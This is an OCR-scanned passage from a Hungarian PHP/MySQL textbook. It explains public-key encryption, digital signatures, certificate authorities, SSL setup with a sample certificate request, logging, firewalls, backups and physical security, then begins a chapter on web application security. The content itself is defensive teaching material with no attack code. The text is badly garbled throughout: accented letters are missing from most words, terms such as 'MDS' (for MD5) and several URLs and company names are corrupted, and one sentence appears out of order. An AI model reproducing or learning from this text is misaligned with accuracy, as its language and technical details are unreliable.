szksg. hogy a titkos kulcsot is elkldhessk. Ha ltezik biztonsgos mdszer a kulcs elkldsre, mirt nem kldjk gy az
zenetet is? Szerencsre1976-ban, amikor Diflie s Hellman elllt az els nyilvnos kulcs rendszerrel, ttrs kvetkezett
be ezen a tren.

Nyilvnos kulcs titkosts


A nyilvnos kulcs titkosts kt klnbz, egy nyilvnos s egy privt kulcson alapul. Ahogy a15.5 brn is lthat, a nyilv

nos kulccsal titkostjuk az zeneteket, a privt kulccsal pedig visszafejtjk azokat.


A rendszer elnye, hogy a nyilvnos kulcs, ahogy neve is utal r, nyilvnosan megoszthat. Brk, akinek megadjuk nyilvnos
kulcsunkat, kpes lesz neknk biztonsgos zenet kldeni. Amennyiben csak mi rendelkeznk a privt kulccsal, senk ms
nem lesz kpes visszafejteni az zenetet.
A legelterjedtebb nyilvnos kulcs algoritmus az MIT-n dolgoz Rivest, Shamir s Adelman ltal1978-ben kifejlesztett
RSA. Az RSA szabadalommal vdett rendszer volt, a szabadalom azonban 2000 szeptemberben lejrt.

15

15.5 bra: A nyilvnos kulcs titkosts kln-kln kulcsot hasznl a titkostsra s a visszafejtsre.

Az, hogy a nyilvnos kulcsot szabadon elkldherjk, s nem kell aggdni, hogy harmadik szemly megszerzi, komoly elnyt
jelent. Ennek ellenre a titkos kulcs rendszereket tovbbra is szles krben alkalmazzk. Gyakran vegyes rendszert mkd
temek: nyilvnos kulcs rendszerrel kldik a kulcsot a titkos kulcs rendszerhez, amellyel a kommunikci tovbbi rszt
bonyoltjk. A bonyolultabb felllst ellenslyozza, hogy a titkos kulcs rendszerek mintegy ezerszer gyorsabbak a nyilvnos
kulcsaknl.

Digitlis alrsok
A digitlis alrsok a nyilvnos kulcs kriptogrfia tmakrhez kapcsoldnak, m a nyilvnos s privt kulcsokhoz kpest
forditott szerepet tltenek be. A kld titkos kulcsval titkosrja s digitlisan alrja zenett. Az zenet megrkezsekor
a

fogad a kld nyilvnos kulcsval tudja visszafejteni azt. Mivel a kld az egyetlen szemly, aki hozzfr a titkos kulcshoz,

a fogad viszonylagos bizonyossggal meg tudja llaptani, kitl jtt az zenet, illetve hogy nem mdostottk-e.

240

15. fezer

A digirlis alrsok rendkivl hasznosak rudnak lenni. A fogad bizonyossger kaphat, hogy az zeneret nem hamisrotrk
meg, az alrsok pedig megneheztik a kld szmra az zenetklds leragadst.
Fontos megjegyezni, hogy br az zenet titkosrva van, a nyilvnos kulcs birtokban brki ltal olvashat. Noha ugyanazokar
a mdszereker s kulcsokar hasznlja, a titkosts clja itt a hamists s klds letagadhatsgnak megakadlyozsa, nem
pedig a beleolvass megelzse.
Mivel a nyilvnos kulcs titkosts nagy zenerek esetben viszonylag lass, ltalban egy msik tpus algoritmust, gyne
vezett hash fggvnyt hasznlnak a hatkonysg nvelsre. A hash fggvny (magyarul hast fggvnynek is szoks nevezni)
a neki radott brmely zenethez kiszmrja az ahhoz tartoz zenerkivonatot (message digest) vagy hash rtket. Nem az
algoritmus ltal kiszmtott rtk a fontos, hanem az, hogy a kimenet egyrtelm hozzrendels eredmnye, vagyis egy adott
bemenet (zenet) rnindig ugyanazt a kimenetet eredmnyezi: a kimenet kicsi, az algoritmus pedig gyors.
A leggyakrabban hasznlt hash fggvny az MDS s az SHA.
A hash fggvny az adott zenetnek megfelel zenerkivonatot llt el. Az zenet s az zenetkivonat birtokban meggy
zdhetnk arrl, hogy az zenetet nem hamistottk-e meg - feltve, hogy biztosak lehetnk abban, hogy a kivonat nincsen
manipullva. Ezrt a digitlis alrs ltrehozsnak szoksos m<lja, hogy a gyors hash fggvnnyel elksztjk a teljes zenet
zenetkivonatt, majd csak ezt a rvid kivonatot titkostjuk a nyilvnos kulcs - s ppen ezrt lass - titkostsi algoritmus
sal. Az alrs most mr az zenettel egytt, hagyomnyos, nem biztonsgos mdon is kldhet.
Alrt zenet rkezsekor ellenrizhetjk azt. Az alrst a kld nyilvnos kulcsval fejtjk vissza. Ezt kveten a kld
ltal hasznlt mdszerrel hash rtket hozunk ltre az zenethez. Ha a visszafejtett hash rtk megegyezik az ltalunk elll
tottal, a kld zenett senki sem mdostotta.

Digitlis tanstvnyok
Praktikus, ha meg rudunk bizonyosadni arrl, hogy a kapott zenetet nem manipullrk, vagy egy zenetsorozat adott fel
hasznlrl vagy gptl rkezett. zleti kapcsolatok esetn ennl is hasznosabb, ha ltez ( jogi) szemlyhez, azaz termszetes
szemlyhez vagy cghez rudjuk ktni azt a felhasznlt vagy kiszolglt.
A digitlis tansrvny alrt, digitlis formban kombinl egy nyilvnos kulcsot s az adott szemly vagy szervezet adatait.
A tansrvny birtokban rendelkeznk a msik fl nyilvnos kulcsval arra az esetre, ha titkostott zenetet akarunk kldeni,
s ismerjk a msik fl adatait, amelyekrl tu<ljuk, hogy nem lettek megvltozrarva.
A gond legfeljebb annyi, hogy az informci csak annyira megbzhat, mint az, aki alrta. Brki ltrehozhat s alrhat olyan
tanstvnyt, amely azt lltja, hogy ez s ez. zleti tranzakcik esetn arra van szksg, hogy megbzhat harmadik szemly
ellenrizze a rsztvevk azonossgt s a tanstvnyaikban rgztett adatokat.
Az ilyen harmadik szemlyeket tanst szervezeteknek (certifying authoriry- CA) nevezzk. Ezek azonossguk ellenrzse

15

utn digitlis tansrvnyokat adnak ki magnszemlyeknek s cgeknek. A kt legismertebb CA a VeriSign (http:/ /www.
verisign.com/) s a Thawte (http://www.thawte.com/), de sok ms ilyen szervezet is mkdik. A Thawte a VeriSign tulaj
donban van, s kevs gyakorlati klnbsg van a kett kztt. Egyes ms szervezetek, pldul a Nerwork Solutiens (http:/ l
www.nerworksolutions.com) s a GoDaddy (http://www.godaddy.com/), jelentsen olcsbbak.
A szervezerek tanstvnyt adnak ki arrl, hogy ellenriztk az adott szemly vagy cg (szemly)azonossgt. Fontos tisztz
ni, hogy a tansrvny nem a megbzhatsgrl vagy hitelkpessgrl szl. A tanstvny nem garancia arra, hogy zletfelnk
tisztessges, megbzhat partner. Pusztn arrl van sz, hogy ha becsapnak bennnket, akkor viszonylag j esllyel birtokunk
ban van egy vals fizikai cm s valaki, aki ellen jogi ton fellphetnk.
A tanstvnyok bizalmi hlzator hoznak ltre. Amennyiben rni megbzunk a tanst szervezetben, akkor megbzharunk
azokban is, akikben ez a szervezet megbzott, s ugyangy megbzharunk azokban is, akikben a tanstvnnyal rendelkez fl is
megbzott.
A digitlis tanstvnyok leggyakoribb hasznlati clja, hogy a tisztessg s megbzhatsg rzett keltsk az e-kereskedelmi
oldalak ltogatiban. Jl ismert CA ltal kiadott tansrvny birtokban a bngszk figyelmeztet ablak megjelentse nlkl
rudnak SSL-kapcsolatot teremteni oldalunkhoz. Az SSL-kapcsolator lehetv tev webszervereket biztonsgos webszervereknek
nevezik.

Biztonsgos webszerverek
A bngszkkel folytatott, Secure Sockets Layer protokollon keresztli, biztonsgos kommunikcihoz hasznlharunk
Apache webszervert, Microsoft liS-t vagy brmilyen ms ingyenes vagy fizets webszervert. Az Apache lehetv teszi Unix
szer opercis rendszer hasznlatr, ami szinte minden esetben megbzhatbb, m kiss bonyolulrabban bellthat, mint az
IlS. Termszetesen vlaszthatjuk azt is, hogy Windows platforrnon hasznljuk az Apache-t.

Az e-kereskedelem biztonsgi krdsei

241

Az SSL IIS-en trtn hasznlathoz telepteni kell az IlS-t, ltre kell hozni egy kulcsprt, majd telepteni kell tanstv
nyunkat. Apache esetben az OpenSSL csomagot is telepteni kell, s a szerverszoftver teleptsekor a mod ssl modult is be
kell kapcsolni.
Clunkat gy is elrhetjk, ha az Apache fizets vltozatt vsroljuk meg. A Red Hat veken keresztl forgalmazott egy
ilyen, Stronghold nev termket, amely ma mr a Red Hat Enterprise Linux termkekkel egy csomagban kaphat. Ilyen meg
olds beszerzse esetn a Linux megbzhatsgt s egy knnyen telepthet termket kapunk a forgalmaz mszaki tmoga
tsval kiegsztve.
A kt legnpszerbb webszerver, az Apache s az IIS teleptsi utastsait A PHP s

MySQL teleptse cm Fggelkben

talljuk. Az SSL hasznlatt sajt digitlis tanstvnyunk ltrehozsa utn akr azonnal megkezdhetjk, m ebben az esetben

a bngszk figyelmeztetni fogjk oldalunk ltogatit, hogy tanstvnyunkat mi magunk rtuk al. Az SSL rdemi hasznla
thoz tanst szervezet ltal kiadott tanstvnyra lesz szksgnk.
A tanstvny megszerzsnek pontos folyamata tanst szervezetenknt eltr, de ltalnossgban elmondhat, hogy
bizonytani kell a szervezet fel, hogy fizikai cmmel rendelkez, jogszeren mkd vllalkozs vagyunk, s a szban forg
domainnv a mi tulajdonunkban van.
Tanstvny-alrsi krelmet (CSR) is el kell lltanunk. Ennek folyamata kiszolglnknt eltr. Az erre vonatkoz utas
tsokat a tanst szervezet honlapjn tallj uk. A Stronghold s az IlS prbeszdablakok segitsgvel vezet vgig a folyamaton,
Apache esetben azonban neknk kell berni a parancsokat. A folyamat lnyege azonban minden kiszolgl esetn ugyanaz.
A vgeredmny egy titkostott CSR, amely a kvetkezhz hasonlan kell, hogy kinzzen:
---BEGIN NEW CERTIFICATE REQUEST--
MIIBuwiBAAKBgQCLnlXX8faMHhtzStp9wY6BVTPuEU9bpMmhrb6vgaNZy4dTe6VS
84p7wGepq5CQjfOL4Hjda+g12xzto8uxBkCD098Xg9q86CY45HZk+q6GyGOLZSOD
8cQHwhloUP65s5Tz0180FB zpi3bHxf06aYelWYziDiFKp1BrUdua+pK4SQIVAPLH
SV9FSz8Z7IHOg1Zr5H82oQOlAoGAWSPWyfVXPAF8h2GDb+cf97k44VkHZ+Rxpe8G
ghlfBn9L3ESWUZNOJMfDLlny7dStYU98VTVNekidYuaBsvyEkFrny7NCUmiuaSnX
4UjtFDkNhX9j5YbCRGLmsc865AT54KRu3102/dKHLo6NgFPirijHy99HJ4LRY9Z9
HkXVzswCgYBwBFH2QfK88C6JKW3ah+6cHQ4Deoiltxi627WN5HcQLwkPGn+WtYSZ
jG5tw4tqqogmJ+IP2F/5G6FI2DQP7QDvKNeAU8jXcuijuWo27S2sbhQtXgZRTZvO
jGn89BC0miHgHQMki7vz35mx1Skk3VNq3ehwhGCvJlvoeiv2J8X2IQIVAOTRp7zp
En7QlXnXwls7xXbbuKPO
---END NEW CERTIFICATE REQUEST---

A CSR, a fizetend djak s a szemlyazonossgunk igazolshoz szksges dokumenmmok, illetve a domainnv hasznla
tra val jogosultsgunkat igazol dokumenmmok birtokban kszen llunk arra, hogy valamely tanst szervezetnl tanst
vnyrt folyamodjunk.
Miutn a szervezet kiadta tanstvnyunkat, el kell trolni rendszernkn, s kzlni kell a webszerverrel, hogy hol tallja.
A vgleges tanstvny az itt lthat CSR-hez nagyon hasonl szvegfjl.

Auditls s naplzs
Opercis rendszernk kpes a klnfle esemnyek naplzsra. A biztonsgi szempontbl rdekes esemnyek kz a hlzati
hibk, az egyes adatfjlokhoz, pldul a konfigurcis fjlokhoz vagy az NT-Registryhez val hozzfrsek tartoznak, s az olyan
prograrnak meghvsa, mint pldul az su (amivel egy msik felhasznlv, pldul rendszergazdv vlharunk Unix rendszeren).
A naplfjlok segitsgvel a megtrtntekor szlelhetjk a hibs vagy rosszindulat viselkedst. A problmk szrevtele
utn ezek tjkoztatst is adhatnak arrl, hogyan trtnt a problma vagy a betrs. A naplfjlok esetben a kt legnagyobb
nehzsg a mretk s a valsgtartalmuk.
Ha a problmk szlelsre s naplzsra vonatkoz kritriumok meghatrozsakor tlzott biztonsgra treksznk, ered
mnyl rendkivl nehezen kezelhet, hatalmas mret naplkat kapunk. A nagy naplfjlokkal csak gy boldogulhamnk, ha
erre szolgl eszkzzel vagy a biztonsgi hzirendbl kidolgozott auditkdokkal ..rdekes" esemnyek utn kutamnk bennnk.
Az auditlsi folyamatnak vagy vals idben vagy rendszeres idkznknt kell megtrtnnie.
A naplfjlok klnsen nagy mrtkben ki vannak tve a tmads veszlynek. Ha a tmad rendszergazdai jogosultsgok
kal fr hozz rendszernkhz, a naplfjlokat szabadon mdostva eltntetheti a nyomait. A Unix lehetsget ad arra, hogy

kln gpen naplzzuk az esemnyeket. Ez azt jelenti, hogy a crackernek legalbb kt gpet fel kell trnie ahhoz, hogy eltn
tesse nyomait. A Windows is knl hasonl funkcit, de nem olyan egyszeren, mint a Unix.
A rendszergazda is vgezhet rendszeres auditlst, de rdemes lehet kls auditlssal rendszeresen ellenrizni a rendszer

gazda munkjt.

15

242

15. fejezet

Tzfalak
A tzfalakat arra hasznljuk, hogy hlzarunkat elvlasszuk a klvilgtl. Ahogy az plet vagy az aut tzfala megakadlyoz
za a tz tovaterjedst, a hlzati tzfalakkal megelzhet, hogy a baj hlzarunkban is elterjedjen.
A tzfal clja, hogy a hlzarunkban lv szmtgpeket vdje a kls tmadstl. Szri s nem engedlyezi a szablyainak
nem megfelel forgalmat. Emellett korltozza a tzfalon kvL Felhasznlk s gpek tevkenysgt.
A tzfal esetenknt az azon belli szemlyek tevkenysgt is behatrolja. Kpes korltozni az emberek ltal hasznlt h
lzati protokollokat, azon gpek krt, amelyekhez csadakozhatnak, illetve a svszlessg kltsgeinek leszortsa rdekben
proxykszolgl hasznlatra knyszertheti ket.
A tzfal lehet hardvereszkz, pldul szrszablyokat hasznl router (tvlaszt), vagy szmtgpen fut szoftver.
Mindkt esetben kt hlzathoz kell kapcsoldnia, s szablyok alapjn kell mkdnie. A tzfal az egyik hlzatbl a msikba
igyekv forgalmac figyeli. Ha megfelel a tzfal szablyainak, tvezeti a msik hlzatba, ha nem, meglltja vagy visszautastja.
A csomagok szrhetk tpusuk, forrs- s clcmk vagy portinformci alapjn. Egyes csomagokat a tzfal egyszeren el
vet; ms esemnyekre pedig megadhatjuk, hogy naplbejegyzseket vagy riasztsokat kezdemnyezzenek.

Biztonsgi ments ksztse az adatokrl


A katasztrfa-helyrelltsi tervben nem lehet elgg hangslyozni a biztonsgi mentsek fontossgt. A hardvereket s az in
gatlanokat lehet biztostani s ptolni, az oldalakat lehet mshol trolni, de ha sajt fejleszts webes szaftvernk elvsz, nincs
az a biztosttrsasg, amely ptolni tudja.
Weboldalunk sszes alkotelemrl, gy a statikus oldalakrl, a kdokrl s az adatbzisokrl is rendszeresen biztonsgi
mentst kell kszteni. A kvnt gyakorisg attl fgg, mennyire dinan1ikusan mdosul az oldalunk. Teljesen statikus tartalom
esetn elg biztonsgi mentst az oldal mdostskor kszteni. Az olyan tpus oldalak azonban, amelyekrl knyvnk szl,
gyakran vltoznak, klnsen abban az esetben, ha onLne fogadjuk a megrendelseket.
Az sszer mret oldalakat RAID technolgival rendelkez, tkrzse trnagami kpes kszolgln rdemes trolni. Ez
zel vdve vagyunk a merevlemez tnkremense esetre. Gondoljunk bele azonban az olyan helyzetekbe, arnikor a teljes merev
lemeztmbbel, gppel vagy plettel trtnik valami!
Az oldal frisstsnek megfelel gyakorisggal rdemes kln biztonsgi mentseket kszteni. Ezeket kln adathordozn
s idelis esetben ms biztonsgos helysznen troljuk, gy tzvsz, lops vagy termszeti katasztrfa esetn is lesz mihez nyl
nunk!
Rengeteg informciforrs tallhat a biztonsgi mentsekrl s a helyrelltsrL Figyelmnket most a PHP-vel s MySQL
adatbzissal ltrehozott oldal biztonsgi mentsre korltozzuk.

15

Biztonsgiments ksztse ltalnos fjlokrl


A rendszerek tbbsgn dediklt szaftver segitsgvel igen egyszeren kszthetnk biztonsgi mentst HTML s PHP kd
jainkrl, kpeinkrl s egyb, nem adatbzisfjlokrL
A leginkbb szles krben hasznlt, ingyenes eszkz a Marylandi Egyetem ltal kifejlesztett AMANDA (Advanced Ma
ryland Autamated Network Disk Archiver). Szmos Unix-disztribciban alaprtelmezsben megtallliat, s SAMBA
segtsgvel windowsos gpek biztonsgi mentshez is hasznlhat. Az AMANDA-rl a http:/ /www.amanda.org/ oldalon
bvebben olvashatunk.

MySQL adatbzisunk biztonsgimentse s helyrelltsa


l adatbzisrl bonyolultabb biztonsgi mentst kszteni, mint az egyszer fjlokrL Az adatbzis mselst kerlni kell
rninden olyan pillanatban, amikor mdosts alatt ll.
A MySQL adatbzis biztonsgi mentsre s helyrelltsra vonatkoz rszletes utastsokat a Halad MySQL

adminisztrci cm, 12. leckben trgyalruk.

Fizikai biztonsg
Az eddig megvizsglt biztonsgi fenyegetsek olyan kzzel nem megfoghat dolgokra vonatkoztak, rnint a szoftver, de nem
szabad megfeledkeznnk rendszernk fizikai biztonsgrl sem. Klimatizlsra van szksg, s vdekezni kell a tz, a (ktbal
kezes vagy rosszindulat) emberek, az ramkimarads s a hlzati lellsok ellen.

Az e-kereskedelem biztonsgi krdsei

243

Rendszernket biztonsgosan bezrt helyen kell tartani. Mkdsnk mrettl fggen ez lehet helyisg vagy szekrny.
Csak azoknak az alkalmazottaknak szabad ehhez a gphez hozzfrnik, akiknek erre szksgk van. A jogosulatlan szem
lyek szndkosan vagy vletlenl kihzhatnak kbeleket, vagy boot lemez segtsgvel megkisrelhetik megkerlni a biztonsgi
mechanizmusokat.
A sprinklerek (szrfejes, vzzel olt berendezsek) legalbb annyi krt tudnak tenni az elektronikban, mint a tz. Rgeb
ben halont hasznl, gzzal olt rendszerekkel kezeltk ezt a problmt. A "Montreali jegyzknyv az zonrteget lebont
anyagokrl" cm egyezmny ma mr tiltja a halon hasznlatr, gy az j tzvdelmi rendszereknek ms, kevsb kros alter
narva utn kellett nznik. Kt szba jhet lehetsg az argon s a szn-dioxid. A rmrl bvebben is olvashatunk a http:/l
www.epa.gov/Ozone/snap/ fire/qa.hrml oldalon.
A vratlan, rvid ramkimaradsok legtbb helyen az let velejri. Rendkvli idjrs vagy fld feletti vezetkek esern
a hosszabb kimaradsok is rendszeresek lehetnek. Ha rendszernk folyamatos mkdse fontos szmunkra, be kell ruhznunk
sznermentes tpegysgbe

(UPS). Egyetlen gpet akr 60 percen keresztl tpllni kpes sznetmentes tpegysget mr 10

ezer forint krnykn beszerezhetnk. A hosszabb ramkimaradsokat kivlt vagy tbb gpet elltni kpes tpegysgek ennl
azrt tbbe kerlnek. A hossz ramkimaradsokhoz genettorra van szksg, hogy a klimarizls s szmrgpeink is m
kdni tudjanak.
Az ramkimaradshoz hasonlan a nhny perces vagy rs hlzati kimaradsok is ellenrzsnkn kvl esnek. Ha h
lzatunk mkdse igazn fontos szmunkra, rdemes lehet egynl tbb internetszolgltathoz kapcsoldni. A kr kapcsolat
nyilvn tbbe kerl, de azt jelenti, hogy hlzari hiba ese rn alacsonyabb kapacitssal ugyan, de elrhetk maradunk.
A fentiek miatt rdemes lehet megfontolni, hogy gpeinker bizonyos dj ellenben egy e clra kialaktott ltestmnyben
helyezzk el (angolul co-locationnek is nevezik ezt a szolglratst). Ennek alapja, hogy egy kzepes mret vllalkozs szmra
nem minden esetben gazdasgos egy hosszabb ideig ramelltst bizrosr sznermentes tpegysg, tbb redundns hlzati
kapcsolat vagy tzvdelmi rendszer fenntartsa. Egy hasonl vllalkozsok szzainak szmtgpeit trol s zemelter lte
stmny szmra azonban igen.

Hogyan tovbb
A 16. fejezetben rszletesebben foglalkozunk a webes alkalmazsok biztonsgva!. Megnzzk, kik az ellensgeink, s hogyan
vdjk meg magunkat tlk, hogyan vcljk szervereinket, hlzatainkat s kdunkat, s hogyan kszljnk fel a katasztrfkra.

15

16
Webes alkalmazsok biztonsga
A fejezeeben folyeaejuk az alkalmazsbiztonsg korbban megkezdett tmjt: teljes webes alkalmazsunk biztonsgoss t
telnek krdseit fogjuk megtrgyalni. Webes alkalmazsaink minden egyes porcikjt vdeni kell a lehetsges visszalsektl
(legyen azok vletlenek vagy szndkosak), s biztonsgukat elsegt stratgit kell kidolgoznunk az alkalmazsfejlesztshez.
A fejezetben az albbi fbb tmakrkkel foglalkozunk:
Biztonsgkezelsi stratgik
A rnk vr fenyegetsek azonostsa
Kikkel llunk szemben?
Kdunk biztonsgoss ttele
Webszervernk s a PHP biztonsgoss ttele
Az adatbzisszerver biztonsga
Hlzatunk vdelme
Katasztrfa-elhrrsi terv ksztse

Biztonsgkezelsi stratgik
Az internet egyik legnagyszerbb jellemzje - az sszes gp egymssal szembeni nyitottsga s elrhetsge - egyben az egyik
legnagyobb fejfjst is okozza a webes alkalmazsfejleszcknek. Az internechez csatlakoztatott rengeteg szmtgp hasznli
kzte kevsb nemes szndkakat is tallunk. A rnk leselked veszlyek tudatban flelmetes lehet akr csak belegondolni
abba, hogy a hitelkrtyaadatokhoz, a bankszmla-informcikhoz vagy az egszsggyi nyilvntartshoz hasonl bizalmas
informcikat kezel webes alkalmazst a globlis hlzat szmra elrhetv tesszk. De az zlet nem llhat meg, s neknk,
fejleszeknek nem elegend csupn alkalmazsunk e- kereskedelemmel kapcsolatos rszeit biztonsgoss tenni, hanem a biz
tonsg megtervezshez s kezelshez szksges megkzeltst kell kialaktanunk. A lnyeg, hogy megfelel egyenslyt call
junk a vdelem szksgessge s a tnyleges zletvitelhez elengedhetetlen, mkd alkalmazs ignye kztt.

Megfelel gondolkodsmd mr a tervezstl


A biztonsg nem egy funkci. Ha webes alkalmazst fejlesztnk, s elksztjk azon funkcik listjt, amiket az alkalmazsnak
rudnia kell, a biztonsg nem lesz rajta ezen a listn, s nem tehetjk meg, hogy kijellnk egy fejlesztt, hogy nhny napig
dolgozzon az gyn. A biztonsg az alkalmazs teljes tervezsi folyamatnak rszt kell, hogy kpezze, olyan soha vget nem
r erfeszts legyen, amely az alkalmazs zembe helyezse s a fejleszts lelassulsa, netn teljes befejezse utn is jelen van
az alkalmazsban!
Ha mr rgtn az elejn vgiggondoljuk s felkszlnk r, hogy milyen klnbz mdokon lehet rendszernkkel visz
szalni, vagy a tmadk milyen mdszerekkel trhetik fel azt, gy tervezhetjk meg kdunkat, hogy cskkentsk az ilyen
problmk bekvetkezsnek valsznsgt. gy elkerlhet az is, hogy ksbb, amikor vgre foglalkozni kezdnk a biztonsgi
problmkkal, az egsz alkalmazst t kelljen alaktanunk (radsul szinte biztos, hogy nhny potencilis problmrl el fo
gunk feledkezni).

A biztonsg s a hasznlhatsg kztti egyensly keresse


Felhasznli rendszer tervezsekor a felhasznli jelszavak azok, amelyek igazn aggodalommal tlthernek el bennnket. A fel
hasznJk gyakran vlaszeanak olyan jelszavakat, amelyeket megfelel szaftverrel nem klnsen nehz feltrni, plne abban az
esetben, ha sztri szavakat vlasztanak. ppen ezrt szeretnnk cskkenteni a felhasznli jelszavak knny kitallhatsg
nak s rendszernk ebbl add egyszer feltrhetsgnek kockzatt.

246

16.fezet

Az egyik lehetsges mdszer, ha megkveteljk a felhasznlktl, hogy ngy, klnbz jelszt kr bejelentkez abla
kon keresztl lpjenek be. Azt is megkvetelhegk tlk, hogy legalbb havonta egyszer mdostsk jelszavaikat, mgpedig
gy, hogy korbban mr hasznlt jelszavakat nem vlaszthatnak. Ez jelentsen megnveln rendszernk biztonsgt, s
a crackereknek sokkal tbb idbe kerlne, amg tkzdenk magukat a belpsi folyamaton, s bejutnnak a rendszerbe.
Sajnos rendszernk annyira biztonsgos lenne, hogy senki sem venn a fradsgot, hogy hasznlja - elbb-utbb knytele
nek lennnk beltni, hogy a szigorts egyszeren nem rte el cljt. Ez a plda is jl mutatja, hogy br fontos trdni a bizton
sggal, legalbb ugyanennyire rdemes foglalkoznunk a biztonsgnak a hasznlhatsgra gyakorolt harsval. Egy egyszeren
hasznlhat, alacsony biztonsgi szint rendszer vonz lehet a felhasznlk szmra, m nagyobb valsznsggel szmtha
tunk ebbl add biztonsgi problmkra s zleti lellsokra. Ugyangy egy rendkvl robusztus biztonsgi jellemzkkel br
s ebbl kvetkezen szinte hasznlharadan rendszer kevs felhasznl szmra lesz elfogadhat, ami szintn negatv kvet
kezmnyekkel jr zlermenernkre.
Webes alkalmazsok fejlesztiknt olyan mdszereket kell tallnunk, amelyek a rendszer hasznlhatsgt nem arnytala
nul megneheztve fokozzk a biztonsgt. Mint ltalban a kezelfellet esetn, itt sincsenek kbe vsett s rninden helyzetre
megfelel szablyok, sokkal inkbb sajt tletnkre, hasznlhatsgi resztekre s fkuszcsoportokra tmaszkodva llapthaguk
meg, hogy miknt fogadjk a felhasznlk a tervezett megoldsokat.

Biztonsgi felgyelet
Webes alkalmazsunk fejlesztsnek s zembe helyezsnek befejezse urn sem rtnk feladaraink vgre. A biztonsg r
szr kpezi a rendszer mkds alatti felgyelete, a naplk s egyb fjlok figyelemmel kvetse, hogy lssuk, hogyan mkdik
rendszernk, s hogyan hasznljk. Csak a mkdst kzelrl felgyelve (vagy ezt a feladatot helyetrnk ellt eszkzket
megrva s futtatva) azonostharjuk a folyamaros biztonsgi problmkat, illetve hatrozhaguk meg azokat a terlereket, ahol
biztonsgosabb megoldsok kifejlesztsre van szksg.
A biztonsg, sajnos, folyamaros harc s - bizonyos rrelemben - olyan csata, amir soha nem lehet megnyerni. lland
bersg, rendszernk fejlesztse s gyors vlaszlps a problmkra - ez az az r, amir egy zkkenmentesen mkd webes
alkalmazsrt fizetni kell.

Alapvet megkzeltsnk
Hogy az sszer erfesztssel s idrfordtssal elrhet legteljesebb biztonsgi megoldst kapjuk, krflekppen kell a biz
tonsghoz kzelreni.Az egyik megkzelts az eddig tbeszltekre pl: Hogyan kszljnk fel alkalmazsunk biztonsgoss
ttelre, s milyen, a biztonsg megrzst elsegt funkcikar tervezznk bele Ha mindenkppen nevet szeretnnk adni
neki, akkor fellrliifele halad

megkzeltsnek (top-down) nevezhernnk ezt.


lentrl felfel halad megkzeltsnek (bortom-up) hvhatnnk.

Ugyanilyen logikval biztonsgi megkzelrsnk msik g r

Ebben alkalmazsunk klnbz alkotelemeir, pldul az adatbzisszervert, a szervert magr s a hlzator vizsgljuk meg.
Meggyzdnk arrl, hogy nem csak az ezekkel az alkotelemekkel val kapcsolatfelvteleink biztonsgosak, hanem telepr
sk s konfigurls uk is. Sok termk olyan bellrsokkal telepl fel, amelyek vdtelenl hagynak bennnker a tmadsokkal
szemben, ezrt fontos risztban lenni vele, hogy melyek ezek a lyukak, s hogyan tmhetjk be ket.

16

A rnk vr fenyegetsek azonostsa


A 15. fejezetben

(Az e-kereskedelem biztonsgi krdsei) szmos, online zleti alkalmazsainkat clz biztonsgi fenyegetst

megismerhettnic Ebben a fejezetben ezek kzl nhnyra fogjuk figyelmnket sszpontostani, s megnzzk, miben kell
fejlesztsi gyakorlatunkat megvltozratni, ha kezelni kivnjuk az ilyen fenyegetseket.

Bizalmas adatok elrse vagy mdostsa


Webes alkalmazsfejlesztknt vagy programozknt feladataink kz tartozik, hogy gondoskodjunk a felhasznlk ltal rnk
bzott, illetve a vllalatunk ms osztlyairl kapott adatok biztonsgrL Ha webes alkalmazsunk felhasznli szmra rszben
vagy egszben elrherv tesszk ezeket az adatokat, olyan mdon kell ezt tennnk, hogy csak azokat az informcikat tekinthes
sk meg, amelyeket jogosultak ltni.Szinte nnden esetben igaz, hogy ms felhasznlk adataihoz nem szabad hozzfrnik.
Ha online rszvny- vagy befektetsialap-kereskedsi rendszerhez runk platforrnot (kezelfelletet), akkor a szmlkat
tartalmaz tblkhoz hozzfr szemlyek megnzhetik a felhasznlk szemlyes azonost adatait (lakcm, adazonosr jel
stb.), lthatjk, rnilyen s hny rtkpaprral rendelkeznek, st akr a bankszmla-informcikhoz is hozzfrnek.

Webes alkalmazsok biztonsga

247

Akr csak egy neveket s lakcmeket tartalmaz tbla nyilvnoss ttele is a biztonsgi szablyok slyos megszegst jelenti.
Az gyfelek nagyra rtkelik szemlyes adataik vdelmr. A nevket s lakcmket tartalmaz lista valamilyen tovbbi infor
mcival lciegszrve (.,mind a tzezer ember szakott online dohnyboltban vsrolni") potencilisan rtkesthet rucikket
jelent a jtkszablyokat be nem tart marketinges cgek szmra.
Az adatainkhoz val egyszer hozzfrsnl is sokkal rosszabb, ha valaici mdot tall manipullsukra. Egy boldog banici
gyfl hirtelen nhny ezer dollrral tbbet tall szmljn; vagy egy gyfl szlltsi cmnek mdostsa is boldogg tehet
valakit (vlheten azt, aici megvltoztatta az adatokat, s nagy rmmel veszi t a valaici msnak kldend csomagot).

Adatveszts vagy rongls


A jogosulatlan felhasznlk bizalmas adatokhoz jutsnl semmivel sem jobb, ha hirtelen azt ltjuk, hogy adataink egy rszt
kitrltk vagy megrongltk. Ha valaicinek sikerl adatbzisunkban tblkat megronglni vagy kitrlni, visszafordthatatlan
zleti kvetkezmnyekkel vagyunk knytelenek szembeslni. Ha bankszmla-informcikat megjelent online bank vagyunk,
s valahogy elvsz egy adott szmla sszes adata, akkor, bizony, nem jl vgezzk a dolgunkat. Mg ennl is rosszabb, ha a fel
hasznlk (gyfelek) teljes tblja trldik, mert akkor nem kevs idt kell arra fordtanunk, hogy rekonstruljuk az adatbzist,
s kidertsk, Icinek mennyi pnze van.
Fontos megemlteni, hogy adarveszts vagy -rongls nem csak a rendszerrel val rosszindulat vagy vletlen visszals miatt
kvetkezhet be. Ha az plet, amelyben szervereinket troljuk, kigyullad, s vele egytt az sszes kiszolgl s merevlemez por
r g. akkor igen komoly mennyisg adatot vesztnk. Ilyenkor fizetdik Ici, ha rendelkeznk megfelel biztonsgi mentssel s
katasztrfa-elhrrsi tervvel.

Denial of Service tmads


Korbban mr volt sz a szolgltatsmegtagadssal jr (DoS) tmadsokrl s mg veszlyesebb tesrvreikrl, a megosztott
szolgltatsmegtagadssal jr (D DoS) tmadsokrl, amelyek komolyan veszlyeztethetik alkalmazsunk elrhetsgt. Ha
szervereinket rkra vagy akr mg tovbb elrhetedenn teszik, olyan kihvssal llunk szemben, amellyel nem knny meg
birkzni. Ha belegondolunk, hogy mennyire elterjedt szmos nagy internetes oldal hasznlata, s mennyire szmtunk arra,
hogy brmikor elrhetjk ket, knnyen belthatjuk, hogy bizonyos esetekben a legrvidebb lells is kritikus lehet.
